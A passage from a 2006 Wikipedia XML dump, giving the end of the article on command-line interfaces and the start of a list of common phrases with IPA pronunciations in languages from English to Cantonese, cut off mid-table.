Some applications provide both a CLI and a GUI. One example is the CAD program [[AutoCAD]]. The engineering/scientific numerical computation package [[Matlab]] provides no GUI for some calculations, but the CLI can handle any calculation. The three-dimensional-modelling program Rhinoceros 3D (used to design the cases of most cell phones, as well as thousands of other industrial products) provides a CLI (whose language, by the way, is distinct from Rhino's scripting language). In some computing environments, such as the [[Oberon operating system|Oberon]] or [[Smalltalk]] user interface, most of the text which appears on the screen may be used for giving commands.

The commands given to a CLI are often of the form

 [doSomething] [how] [toFiles]

or

 [doSomething] [how] &lt; [inputFile] &gt; [outputFile]

''doSomething'' is in effect to a [[verb]], ''how'' an [[adverb]] (for example, should the command be executed &quot;verbosely&quot; or &quot;quietly&quot;) and ''toFiles'' an object or objects (typically one or more files) on which the command should act. The '&gt;' in the second example is a redirection character, telling the command line interpreter to send the output of the command not to the screen but to the file named on the right of the '&gt;'. Another redirection character is the [[Vertical bar|pipe]] ('|'), which tells the CLI to use the output of one command as the input to the next command; this &quot;operator-stream&quot; mechanism can be very powerful, as explained under [[pipeline (Unix)]].

==See also==
* [[Graphical user interface]]
* [[Text user interface]]
* [[In the Beginning...was the Command Line]], an essay by [[Neal Stephenson]]

==External links==
*[http://www.commandline.org.uk Command Line Warriors] — an open site about Command Line Computing.
* The Interaction-Design.org Encyclopedia entry on [http://www.interaction-design.org/encyclopedia/interaction_styles.html Interaction Styles, comparing Command Line Interfaces with other Interaction Styles]
*[http://www.developer.com/net/net/article.php/3286851 ''Coming Soon to Windows: The Microsoft Shell (MSH)'' by Jason Nadal]
*[http://www.igeek.com/articles/OS/CommandLines.txt Command lines versus GUIs]
*[http://getpot.sourceforge.net/ &quot;GetPot. Object oriented command line parsing.&quot;] Library available for C++, Python, Java, and Ruby.

[[Category:User interface]]
[[Category:Software engineering]]
[[Category:Software architecture]]

[[cs:P&amp;#345;&amp;#237;kazov&amp;#253; &amp;#345;&amp;#225;dek]]
[[de:Kommandozeile]]
[[es:Línea de comandos]]
[[fr:Invite de commande]]
[[ko:&amp;#47749;&amp;#47161; &amp;#49440; &amp;#44277;&amp;#50857;&amp;#50689;&amp;#50669;]]
[[hu:Parancssoros felhasználói felület]]
[[nl:Opdrachtlijn Interface]]
[[ja:&amp;#12461;&amp;#12515;&amp;#12521;&amp;#12463;&amp;#12479;&amp;#12540;&amp;#12518;&amp;#12540;&amp;#12470;&amp;#12452;&amp;#12531;&amp;#12479;&amp;#12540;&amp;#12501;&amp;#12455;&amp;#12540;&amp;#12473;]]
[[pl:Wiersz polece&amp;#324;]]
[[sk:Príkazový riadok]]
[[fi:Komentoliittymä]]
[[zh:命令行界面]]</text>
    </revision>
  </page>
  <page>
    <title>List of common phrases in various languages</title>
    <id>6708</id>
    <revision>
      <id>41917786</id>
      <timestamp>2006-03-02T16:38:04Z</timestamp>
      <contributor>
        <ip>84.74.61.209</ip>
      </contributor>
      <comment>/* [[Hindi language|Hindi]] ([[Indo-Iranian languages|Indo-Iranian]]) */</comment>
      <text xml:space="preserve">{{ConvertIPA}}
:''For other specific lists of common phrases, see [[Common phrases (disambiguation)]]''
This is a list of '''common phrases in various languages''', for a general overview of ten to fifteen basic phrases in all of the major world languages, and certain interesting minor ones.
&lt;!-- should this list get too large, a split between major and minor languages may be an appropriate solution --&gt;

[[tourism|Tourists]] to a foreign country often get along with a surprisingly short list of phrases, combined with pointing, miming, and writing down numbers on paper. This list is intended to serve as a comprehensive basic introduction to those languages.
:''Note:'' The [[language families and languages|language family]] of each language is listed in parentheses.
&lt;!-- For editors // You are invited to add more languages to the list. Please use the minimum number of words that would be understandable and put the pronunciation in slashes according to International Phonetic Alphabet (IPA) transcription if possible. If desired, also add a pseudo-English pronunciation guide for those not familiar with IPA. However, actual pronunciations of the pseudo-English spellings will vary from speaker to speaker. Enclose the &quot;pronunciation guide&quot; in parentheses, separate syllables with dashes, use English words that sound like the syllables if possible, and render the stressed syllable in ALL CAPS. --&gt;

== [[English language|English]] ([[Germanic languages|Germanic]]) ==

As a sample, here's English, according to British [[Received Pronunciation]], followed by [[American English|Standard American English]], if different:
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
|-
|English
|''English''
|{{IPA|/ˈɪŋ.glɪʃ/}}
|-
|hello
|''hello'' 
|[[United Kingdom|UK]] {{IPA|/hɛˈləʊ/}} &lt;br&gt; 
[[United States|US]] {{IPA|/hɛˈloʊ/}}
|-
|good-bye 
|''good-bye'' 
|{{IPA|/ˌgʊdˈbaɪ/}}
|-
|please
|''please'' 
|{{IPA|/pliːz/}}
|-
|thank you:
|''thank you'' 
|{{IPA|/ˈθæŋk juː/}}
|-
|sorry
|''sorry'' 
|[[Canada]] {{IPA|/ˈsoːɹi/}}&lt;br&gt;[[United Kingdom|UK]] {{IPA|/ˈsɒɹi/}}&lt;br&gt;[[United States|US]] {{IPA|/ˈsɔːɹi/}}
|-
|that one
|''that one'' 
|{{IPA|/ˈðæt wʌn/}}
|-
|how much?
|''how much?'' 
|{{IPA|/haʊ ˈmʌʧ/}}
|-
|yes
|''yes'' 
|{{IPA|/jɛs/}}
|-
|no
|''no''
|[[United Kingdom|UK]] {{IPA|/nəu/}}&lt;br&gt; [[United States|US]] {{IPA|/noʊ/}}
|-
|I don't understand
|''I don't understand'' 
|[[United Kingdom|UK]] {{IPA|/aɪ ˈdəʊnt ʌn.dəˈstænd/}}&lt;br&gt; [[United States|US]] {{IPA|/aɪ ˈdoʊnt ʌn.dɚˈstænd/}}
|-
|Where's the toilet? (American/British usage respectively)
|''Where's the bathroom?''
|[[United Kingdom|UK]] {{IPA|/wɛəz ðə ˈbɑːθˌɹʊm/}} &lt;br&gt;[[United States|US]] {{IPA|/wɛɹz ðə ˈbæθˌɹum/}}
|-
|generic toast
|''Cheers!''
|[[United Kingdom|UK]] {{IPA|/tʃiːəz/}}&lt;br&gt; [[United States|US]] {{IPA|/tʃiːɚz/}}
|-
|Do you speak English?
|''Do you speak English?'' 
|{{IPA|/duː juː spiːk ˈɪŋglɪʃ/}}
|}

== [[Armenian language|Armenian]] ([[Indo-European languages#Subgroup|Armenian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Phrase
! align=left | Translation
|- valign=top
|-
|''Ayo''
|Yes
|-
|''Votch''
|No
|-
|''Shenorhagal em''
|Thank you
|-
|''Pari yegar''
|You're welcome
|-
|''Hadjiss''/ ''Khntrem''
|Please
|-
|''Neroghoutioun''
|Excuse me
|-
|''Parev''/ ''Barev''
|Hello
|-
|''Menak parov''/ ''Hajoghutyun''
|Goodbye
|}

== [[Afrikaans]] ([[Germanic languages|Germanic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
|-
|Afrikaans
|''Afrikaans''
|{{IPA|/aːfrɪkaːns/}}
|-
|hello
|''hallo'' 
|{{IPA|/hɑloˌ/}}
|-
|How are you?
|''hoe gaan dit?''
|{{IPA|/huˌ xaˌn dɪt/}}
|-
|good day
|''goeie dag''
|{{IPA|/xuˌjə dɑx/}}
|-
|good morning
|''goeie more''
|{{IPA|/xuˌjə mɔˌrə/}}
|-
|good-bye
|''totsiens'' 
|{{IPA|/tɔʦiˌns/}}
|-
|please
|''asseblief'' 
|{{IPA|/ɑsəbliˌf/}}
|-
|thank you
|''dankie'' 
|{{IPA|/dɑŋkiˌ/}}
|-
|sorry
|''jammer'' 
|{{IPA|/jaɪ mer/}}
|-
|that one
|''daardie'' 
|{{IPA|/diˌ/}}
|-
|how much?
|''hoeveel'' 
|{{IPA|/huˌfeˌl/}}
|-
|yes
|''ja'' 
|{{IPA|/jaˌ/}}
|-
|no
|''nee''
|{{IPA|/neˌ/}}
|-
|I don't understand
|''ek verstaan nie'' 
|{{IPA|/ɛk fərstaˌn niˌ/}}
|-
|Where's the bathroom?
|''waar is die toilet''
|{{IPA|/βaˌr ɪs diˌ tojlɪt/}}
|-
|generic toast
|''gesondheid!''
|{{IPA|/xəsɔntejt/}}
|-
|English
|''Engels'' 
|{{IPA|/ɛŋgəls/}}
|}

== [[Albanian language|Albanian]] ([[Albanian language|Albanian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Sound
|- valign=top
|-
| Albanian || ''shqip'' || {{IPA|/ʃkʲip/}} || (shkEEp) || ([[Media:Albanian_shqip.ogg|listen]])
|-
| hello || ''tungjatjeta'' (abbrev. ''tung'') || {{IPA|/tungʲatjɛta/}} || (tUhn-ngIAt-IEta) ||([[Media:Albanian_tungjatjeta.ogg|listen]])
|-
| good-bye || ''mirupafshim'' || {{IPA|/mirupafʃim/}} || (mEEr-Uh-oA-fshEEm) || ([[Media:Albanian_mirupafshim.ogg|listen]])
|-
| please || ''ju lutem'' || {{IPA|/ju lutɛm/}} || (iU LU-tehm) || ([[Media:Albanian_ju_lutem.ogg|listen]])
|-
| thank you || ''faleminderit'' || {{IPA|/faʟɛmindɛrit/}} || (fAh-leh-mEE-nde-rEEt) || ([[Media:Albanian_faleminderit.ogg|listen]])
|-
| that one || ''atë'' || {{IPA|/atə/}} || (ATEH)|| ([[Media:Albanian_atë.ogg|listen]])
|-
| how much? || ''sa është?'' || {{IPA|/sa əʃtə/}} || (sAh ush-te) ||([[Media:Albanian_sa_është.ogg|listen]])
|-
| English || ''anglisht'' || {{IPA|/angliʃt/}} || (ahn-GLEE-sht)|| ([[Media:Albanian_anglisht.ogg|listen]])
|-
| yes || ''po'' || {{IPA|/po/}} || (POE) ||([[Media:Albanian_po.ogg|listen]])
|-
| no || ''jo'' || {{IPA|/jo/}} || (IOH)|| ([[Media:Albanian_jo.ogg|listen]])
|-
| sorry || ''më fal'' || {{IPA|/mə fal/}} || (mUh FAL) || ([[Media:Albanian_më_fal.ogg|listen]])
|-
| I don't understand || ''nuk kuptoj'' || {{IPA|/nuk kuptoj/}} || (nUhk KUP-toi) || ([[Media:Albanian_nuk_kuptoj.ogg|listen]])
|-
| where's the bathroom? || ''ku është banjoja?'' || {{IPA|/ku əʃtə baɲoja/}} || (kuh ush-tEh bA-nio-jA) || ([[Media:Albanian_ku_është_banjoja.ogg|listen]])
|-
| generic toast || ''gëzuar'' || {{IPA|/gəzuar/}} || (gUh-zuh-ar) || ([[Media:Albanian_gëzuar.ogg|listen]])
|-
| Do you speak English? || ''flisni Anglisht?'' || {{IPA|/flisni angliʃt/}} || (flee-snEE ahn-GLEE-sht) || ([[Media:Albanian_flisni_anglisht.ogg|listen]])
|}
: ''Note: All the above sounds are in the [[Ogg]] [[Vorbis]] format.''

== [[Arabic language|Arabic]] ([[Semitic languages|Semitic]]) ==
''See also: [[List of Islamic terms in Arabic]]
'''Note that this is relevant only to Modern Standard Arabic''' and not to the colloquial forms of Arabic spoken in daily life, which vary from place to place. Also, some of the following expressions were written only to suit a male speaker.

Pronunciation guide: Stress in Arabic is most often on the penult syllable (i.e., the one preceding the last).

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|- valign=top
|-
| Arabic || &lt;big&gt; العربيّة &lt;/big&gt; || {{IPA|/alʕaraˈbijja/}} || ''(al-ara'beeya)''
|-
| Hello || &lt;big&gt; مرحبًا &lt;/big&gt; || {{IPA|/marˈħaba/}} || ''(mar'Haba)''
|-
| Good-bye || &lt;big&gt; إلى اللقاء &lt;/big&gt; || {{IPA|/ilalliˈqaʔ/}} || ''(ila-lli'qa')''
|-
| Please || &lt;big&gt; من فضلك &lt;/big&gt; || {{IPA|/min ˈfadˁlak/}} || ''(min 'fad/lak)''
|-
| Thank you || &lt;big&gt; شكرًا &lt;/big&gt; || {{IPA|/ˈʃukran/}} || ''('Shukran)'' 
|-
| That one || &lt;big&gt; ذلك &lt;/big&gt; || {{IPA|/ˈðalika/}} || ''('Dalika)''
|-
| How much? || &lt;big&gt; كمْ؟ &lt;/big&gt; || {{IPA|/kam/}} || ''(kam)''
|-
| English || &lt;big&gt; الإنجليزيّة &lt;/big&gt; || {{IPA|/alʔinʤliˈzeeya/}} ''(formal)'', &lt;br&gt;{{IPA|/alʔinkliˈzeeya/}} ''(colloquial)''
|-
| Yes || &lt;big&gt; نعم &lt;/big&gt; || {{IPA|/ˈnaʕam/}} || ''('na-am)''
|-
| No || &lt;big&gt; لا &lt;/big&gt; || {{IPA|/laː/}} || ''(la:)''
|-
| Where's the bathroom? || &lt;big&gt; أين الحمّام؟ &lt;/big&gt; || {{IPA|/ʔejnalħamˈmaːm/}} || ''(eina-Ham'ma:m)''
|-
| What is your name? || &lt;big&gt; ما اسمك؟ &lt;/big&gt; || {{IPA|/ˈmaː ˈʔismuk/}} || ''('ma: 'ismuk)''
|-
| Goodbye || &lt;big&gt; مع السلامة &lt;/big&gt; || {{IPA|/maʕa ssaˈlaːma/}} || ''(ma-a ssa'la:ma)''
|-
| I don't know || &lt;big&gt; لا أعرف &lt;/big&gt; || {{IPA|/laː ˈʕarifu/}} || ''(la: 'aarifu)''
|-
| I don't understand || &lt;big&gt; لا أفهم &lt;/big&gt; || {{IPA|/laː ˈʔafham/}} || ''(la: 'afham)''
|-
| I don't remember || &lt;big&gt; لا أتذكر &lt;/big&gt; || {{IPA|/laː ʔataˈðakkar/}} || ''(la: ata'Dakkar)''
|-
| Welcome || &lt;big&gt; أهلاً وسهلاً بكم &lt;/big&gt; || {{IPA|/ˈahlan waˈsahlan ˈbikum/}} || ''('ahlan wa'sahlan 'bikum)''
|-
| I am sick || &lt;big&gt; أنا مريض &lt;/big&gt; || {{IPA|/ʔana maˈriːdˁ/}} || ''('ana ma'ri:d/)''
|-
| Hello || &lt;big&gt; السلام عليكم &lt;/big&gt; || {{IPA|/assaˈlaːm ʕaˈlejkum/}} || ''(assa'la:m aa'laykum)''
|-
| Hello (response), how are you? || &lt;big&gt; وعليكم السلام! كيف الحال؟ &lt;/big&gt; || {{IPA|/waʕaˈlejkumu ssaˈlaːm. kejfa lħaːl/}} || ''(wa-a'lejkumu ssa'la:m. kejfa lHa:l)''
|-
| Fine, and you? || &lt;big&gt; بخير، الحمد لله. وكيف أنت؟ &lt;/big&gt; || {{IPA|/biˈxerrin, alˈħamdu lilˁˈlˁahi. waˈkejfa ʔint/}} || ''(bi'xejrin, al'Hamdu lil/'l/ahi. wa'kejfa int)''
|}

== [[Bangla|Bengali]] ([[Indo-Aryan languages|Indo-Aryan]]) ==

Pronunciation guide: Small letter t and d represent unaccented t and d pronunciations as in French. Capital letter T and D represent accented pronunciations in English. 'a' is pronounced as /a/ in 'father'. Small letter 'o' represents /o/ as in 'old'. Capital letter 'O' is /o/ as in 'log'.

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
|-
|hello || || || ''assalamu alaikum'' &lt;br&gt; ''nOmoshkar''|| (Muslims) &lt;br&gt; (Hindus)
|-
|good morning || || || ''suprobhat'' || (not commonly used)
|-
|greetings || || || ''shubhech-chha''
|-
|how are you? || || || ''(apni) kamon achhen?''
|-
|how is it going? || || || ''ki khobor?''
|-
|what's up? || || || ''ki holo?''
|-
|good-bye || || || ''Allah/khoda hafez'' &lt;br&gt; ''nOmoshkar''
|-
|see you later || || || ''pOre' dekha hObe''
|-
|talk to you later || || || ''pOre' kOtha hObe''
|-
|see you again || || || ''abar dekha hObe''
|-
|adieu || || || ''biday''
|-
|please || || || ''dOya kore'' &lt;br&gt; ''onugroho purbok'' || &lt;br&gt;(very formal)
|-
|thank you || || || ''dhonnobad''
|-
|sorry || || || ''duk-khito''
|-
|English || || || ''ingreji''
|-
|nice/good || || || ''shundor'' / ''bhalo''
|-
|bad || || || ''baje'''
|-
|that one || || || ''oiTa/oTa''
|-
|how much does this cost? || || || ''eiTar dam kOto?''
|-
|how much does that cost? || || || ''oiTar dam kOto?''
|-
|what is your name? || || || ''apnar nam ki?''
|-
|I can't understand || || || ''ami bujhte' parchhi na''
|-
|can you help me? || || || ''apni ki amake' shahaj-jo korte' paren?''
|-
|I don't know || || || ''ami jani na''
|-
|I don't speak Bangla || || || ''ami bangla bolte' pari na''
|-
|I don't understand Bangla || || || ''ami bangla bujhi na''
|-
|do you speak English? || || || ''apni ki ingreji bolte' paren?''
|-
|could you repeat what you just said? || || || ''doya kore' abar bolben ki?'' &lt;br&gt;''doya kore arekbar ektu bolun''
|-
|yes || || || ''ha'' &lt;br&gt; ''ji'' / ''ji hai'' ||(informal) &lt;br&gt; (formal)
|-
|no || || || ''na'' &lt;br&gt; ''ji na'' ||(informal) &lt;br&gt; (formal)
|-
|what? || || || ''ki?''
|-
|how? || || || ''kibhabe?''
|}

== [[Basque language|Basque]] ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
|-
|Basque:
|''Euskara''
|{{IPA|/eus̻kaɾa/}}
|-
|hello:
|''kaixo'' 
|{{IPA|/kajʃ̺o/}}
|-
|good-bye: 
|''agur'' 
|{{IPA|/aguɾ/}}
|-
|please:
|''mesedez'' 
|{{IPA|/mes̻edes̺/}}
|-
|thank you: 
|''eskerrik asko'' 
|{{IPA|/es̻kerik as̻ko/}}
|-
|that one:
|''hori'' 
|{{IPA|/hoɾi/}}
|-
|how much?:
|''zenbat'' 
|{{IPA|/s̺enbat/}}
|-
|yes: 
|''bai'' 
|{{IPA|/baj/}}
|-
|no: 
|''ez''
|{{IPA|/es̺/}}
|-
|English: 
|''Ingelesa'' 
|{{IPA|/ingeles̻a/}}
|-
|Do you speak English?
|&quot;Badakizu ingelesez?&quot;
|{{IPA|/badakis̺u ingeles̻es̺?/}}
|}

== [[Belarusian language|Belarusian]] ([[Slavic languages|Slavic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation (IPA)
! align=left | Pronunciation (approximate)
|- valign=top
|-
|Belarusian || '''Беларускі''' || {{IPA|/bʲelaruskʲi/}} || (bye-lah-ROOH-skee)  
|-
|hello || '''прывітанне''' || {{IPA|/prɪvʲitanʲnʲe/}} || (pree-vee-TAHN-nye)
|-
|good-bye || '''да пабачэння''' || {{IPA|/da pabaʧenʲnʲa/}} || (duh puh-buh-CHEN-nyuh)
|-
|please || '''калі ласка''' || {{IPA|/kaʎi laska/}} || (kuh-LEE LUS-kuh)
|-
|thank you || '''дзякуй''' || {{IPA|/ʥakuj/}} || (DZYUH-kooy)
|-
|sorry || '''выбачайце''' || {{IPA|/vɪbaʧajʨe/}} || (vee-buh-CHUY-tsye)
|-
|that one || '''той''', '''тая''', '''тое''' || {{IPA|/toj/}}, {{IPA|/taja/}}, {{IPA|/toje/}} || (TOY, TUY-uh, TOY-eh) 
|-
|how much? || '''колькі?''' || {{IPA|/koʎkʲi/}} || (KOL-kee)
|-
|yes || '''так''' || {{IPA|/tak/}} || (TUHK)
|-
|no || '''не''' || {{IPA|/ɲe/}} || (NYE)
|-
|I don't understand || '''Не разумею''' || {{IPA|/ɲe razumʲeju/}} || (nye ruh-zoo-MEY-ooh)
|-
|where's the bathroom? || '''дзе туалет?''' || {{IPA|/ʥe tuaʎet/}} || (dzye too-uh-LET)
|-
|generic toast || '''за здароуе''' || {{IPA|/za zdarouje/}} || (zuh zduh-ROW-yeh)
|-
|Do you speak English? || '''Ці размауляеце па-англійску?''' || {{IPA|/ʨi razmauʎajeʨe pa anɡʎijsku/}} || (tsee ruz-muw-LYUY-et-eh puh un-GLEE-skoo)
|}

== [[Bosnian language|Bosnian]] ([[Slavic languages|Slavic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
|- valign=top
|-
|Bosnian || '''Bosanski'''||(Bos-aHn-skee)
|-
|hello || '''zdravo''' || 
|-
|good-bye || '''doviđenja''' ||(Doh-vidge-eH-Nya)
|-
|please || '''molim''' ||(moh-lIm)
|-
|Thank You
 || '''hvala'''||(Hh-vaa-laa)
|-
|sorry || '''oprostite'''||(Oh-prost-it-eh)
|-
|that one || '''to''', '''taj'''||(t-oh)/(t-eye)
|-
|how much || '''koliko?'''||(Kol-ihk-oh)
|-
|English || '''engleski'''||(ehn-glesk-eeh)
|-
|yes || '''da'''||(daah)
|-
|no || '''ne'''||(Neh)
|-
|I don't understand || '''ne razumijem'''||(Neh raaz-uhm-ihy-yehm)
|-
|Where is the bathroom || '''gdje je toalet?'''||(g-dee-yeh yeh veh-ceh)
|-
|generic toast || '''na zdravlje''' || || || (to our health)
|-
|Do you speak English || '''govorite li engleski?'''||(goh-voh-rih-te ehn-gleh-skee)
|}

== [[Breton language|Breton]] ([[Celtic languages|Celtic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
|-
|Breton:
|''Brezhoneg''
|{{IPA|/&quot;bʁetɔ̃n/}}
|-
|hello:
|''salud'' 
|{{IPA|/&quot;saːlyt/}}
|-
|good-bye: 
|''kenavo'' 
|{{IPA|/kenaˈvoː/}}
|-
|please:
|''mar plij'' 
|{{IPA|/maʁ pliʃ/}}
|-
|thank you: 
|''trugarez'' 
|{{IPA|/tʁyˈgaːʁɛs/}}
|-
|sorry:
|''digarez''
|{{IPA|/diˈgaʁɛs/}}
|-
|that one:
|''hennezh''
|{{IPA|/ˈennɛs/}}
|-
|how much?:
|''pegement'' 
|{{IPA|/peˈgemɛn/}}
|-
|yes: 
|''ya'' 
|{{IPA|/ja/}}
|-
|no: 
|''nann''
|{{IPA|/nãn/}}
|-
|I don't understand:
|''Ne gomprenan ket'' 
|{{IPA|/ne gɔ̃mpʁenãn ket/}}
|-
|Where's the bathroom?:
|''Pelec'h emañ ar sal dour ?''
|{{IPA|/peˈlɛx ema aʁ zal duʁ/}}
|-
|generic toast: 
|''yec'hed mat !''
|{{IPA|/jehɛt mat/}}
|-
|Do you speak English?: 
|''Kaozeal a rit saozneg?'' 
|{{IPA|/kozeal a ʁit saoznɛk/}}
|}

== [[Bulgarian language|Bulgarian]] ([[Slavic languages|Slavic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
|-
|hello || здравей || || {{IPA|/&amp;#712;zdrav&amp;#603;j/}} || zdravey
|-
|hello  || здрасти || || {{IPA|/&amp;#712;zdrasti/}} || zdrasti || informal
|-
|good morning || Добро утро || || {{IPA|/&amp;#712;d&amp;#596;br&amp;#596; &amp;#712;utr&amp;#596;/}} || dobro oo-tro
|-
|good day || Добър ден || || {{IPA|/&amp;#712;d&amp;#596;b&amp;#601;r d&amp;#603;n/}} || dobar den
|-
|good evening || Добър вечер || || {{IPA|/&amp;#712;d&amp;#596;b&amp;#601;r &amp;#712;v&amp;#603;t&amp;#643;er/}} || dobar vecher
|-
|good night || Лека нощ || || {{IPA|/&amp;#712;l&amp;#603;ka n&amp;#596;&amp;#643;t/}} || leka nosht
|-
|goodbye || Довиждане || || {{IPA|/d&amp;#596;vi&amp;#712;&amp;#658;dan&amp;#603;/}} || dovizhdane
|-
|how are you? || Как си? || || {{IPA|/&amp;#712;kak si/}} || kak see || informal
|-
|I'm fine || Добре съм || || {{IPA|/&amp;#712;d&amp;#596;br&amp;#603; s&amp;#601;m/}} || dobre sam
|-
|Where is the toilet? || Къде е тоалетната? || || {{IPA|/k&amp;#601;d&amp;#603; &amp;#603; t&amp;#596;a&amp;#712;l&amp;#603;tnata/}} || kade e to-alet-nata
|-
|all the best || Всичко най-хубаво || || {{IPA|/v&amp;#712;sit&amp;#643;k&amp;#596; nai-xub&amp;#712;av&amp;#596;/}} || vsich-ko nay hoo-bavo
|-
|regards || Поздрави || || {{IPA|/p&amp;#596;zdra&amp;#712;vi/}} || pozdravi
|-
|thank you || Благодаря || || {{IPA|/blag&amp;#596;da&amp;#712;r&amp;#690;a/}} || blago-darya
|-
|happy birthday || Честит рожден ден! || || {{IPA|/t&amp;#643;&amp;#603;&amp;#712;stit r&amp;#596;&amp;#658;d&amp;#712;&amp;#603;n d&amp;#603;n/}} || chestit rozhden den
|-
|Bulgarian language || Български език || || {{IPA|/b&amp;#601;lg&amp;#712;arski &amp;#603;&amp;#712;zik/}} || balgarski ezik
|-
|yes || да || || {{IPA|/da/}} || da
|-
|no || не || || {{IPA|/n&amp;#603;/}} || ne
|-
|of course || разбира се || || {{IPA|/raz&amp;#712;bira s&amp;#603;/}} || razbira se
|-
|Please, enter! || Влезте, моля! || || {{IPA|/&amp;#712;vl&amp;#603;zt&amp;#603; &amp;#712;m&amp;#596;&amp;#654;a/}} || vlezte molya || formal (2nd p. plural)
|-
|Enter! || Влез! || || {{IPA|/vl&amp;#603;z/}} || vlez || informal (2nd p. singular)
|}

== [[Catalan language|Catalan]] ([[Romance languages|Romance]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|-
|Catalan:
|''català'', ''valencià''
|{{IPA|[kətəˈlɑ], [vałensi'ɑ]}}
|-
|hello:
|''hola''
|{{IPA|[ˈɔlə]}}
|-
|good-bye: 
|''adéu'' 
|{{IPA|[əˈðew]}}
|-
|please:
|''si us plau'', ''sisplau''
|{{IPA|[sisˈplɑw]}}
|-
|thank you: 
|''gràcies''; ''mercès''
|{{IPA|[ˈgrɑsjəs]; [mərˈsɛs]}}
|-
|sorry:
|''perdó''
|{{IPA|[pərˈðo]}}
|-
|that one:
|''aquest'' (m.); ''aquesta'' (f.)
|{{IPA|[əˈkɛt]; [əˈkɛstə]}}
|-
|how much?:
|''quant val''; ''quant és'' 
|{{IPA|[ˈkwɑmˈbɑl]; [ˈkwɑnˈes]}}
|-
|yes: 
|''sí'' 
|{{IPA|[ˈsi]}}
|-
|no: 
|''no''
|{{IPA|[ˈno]}}
|-
|I don't understand:
|''No ho entenc'' 
|{{IPA|[ˈnowənˈteŋ]}}
|-
|Where's the bathroom?:
|''On és el bany?''; ''on és el lavabo?''
|{{IPA|[ˈonˈezəlˈβɑɲ]; [ˈonˈezəlləˈβɑβu]}}
|-
|generic toast: 
|''Salut!''
|{{IPA|[səˈlut]}}
|-
|Do you speak English?: 
|''Que parleu anglès?'' (formal), ''Que parles anglès?'' (informal) 
|{{IPA|[kəpərˈlɛwənˈglɛs]; [kəˈpɑrləzənˈglɛs]}}
|-
|Do you speak Catalan?:
|''Que parleu català?'' (formal), ''Que parles català?'' (informal)
|{{IPA|[kəpərˈlɛwkətəˈlɑ]; [kəˈpɑrləskətəˈlɑ]}}
|}

==[[Chinese language]]s==
===[[Standard Cantonese|Chinese, Cantonese]] ([[Chinese language|Sinitic]])===

''Note: Cantonese is a [[tone (linguistics)|tonal language]]. Pronunciations provided below include numbers indicating tone. Tone 1 is high and level/falling; 2 is medium and rising; 3 is medium and level; 4 is low and falling; 5 is low and rising, 6 is low and level. For more info, see [[Standard Cantonese]]. The characters shown are [[Traditional Chinese character]]s. Pronunciation is given using [[Jyutping]] and [[International Phonetic Alphabet|IPA]]. However, non-use of the tones will not hinder comprehension for such simple phrases.'' 

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Jyutping
! align=left | IPA
|-
|Cantonese:
|廣東話
|''gwong2 dung1 waa2''
|{{IPA|/kwɔːŋ2 tʊŋ1 wɑː2/}}
|-
|hello
|你好
|''nei5 hou2''
|{{IPA|/nei5 hou2/}}
|-
|good-bye
|再見
|''zoi3 gin3''
|{{IPA|/tsɔːi3 kiːn3/}}
|-
|bye-bye
|拜拜
|''baai1 baai3''
|{{IPA|/pɑːi1 pɑːi3/}}
|-
|please
|唔該
|''m4 goi1''
|{{IPA|/m̩4 kɔːi1/}}
|-
|thank you (for gifts)
|多謝
|''do1 ze3''
|{{IPA|/tɔː1 tsɛː3/}}
|-
|thank you (for services rendered)
|唔該
|''m4 goi1''
|{{IPA|/m̩4 kɔːi1/}}
|-
|sorry
|對唔住
|''deoi3 m4 zyu6''
|{{IPA|/dɵy3 m̩4 tsyː6/}}
|-
|this one
|呢個
|''ni1 go3'' or ''nei1 go3''
|{{IPA|/niː1 kɔː3/}} or {{IPA|/nei1 kɔː3/}}
|-
|that one
|嗰個
|''go2 go3''
|{{IPA|/kɔː2 kɔː3/}}
|-
|how much/many? (ask for quantity)
|有幾多呀
|''yau5 gei2 do1 aa3''
|{{IPA|/jɐu5 kei2 tɔː1 ɑː3/}}
|-
|how much? (ask for amount of money)
|幾多錢呀
|''gei2 do1 cin2 aa3''
|{{IPA|/kei2 tɔː1 ts̚in2 ɑː3/}}
|-
|yes
|係
|''hai6''
|{{IPA|/hɐi6/}}
|-
|no
|唔係
|''m4 hai6''
|{{IPA|/m̩4 hɐi6/}}
|-
|correct/right
|啱
|''am1''
|{{IPA|/a:m1/}}
|-
|incorrect/wrong
|唔啱
|''m4 am1''
|{{IPA|/m̩4 a:m1/}}
|-
|I don't understand
|我唔明白
|''ngo5 m4 ming4 baak6''
|{{IPA|/ŋɔː5 m̩4 mɪŋ4 bɑːk6/}}
|-
|Where's the bathroom?
|洗手間喺邊度呀？
|''sai2 sau2 gaan1 hai2 bin1 dou6 aa3''
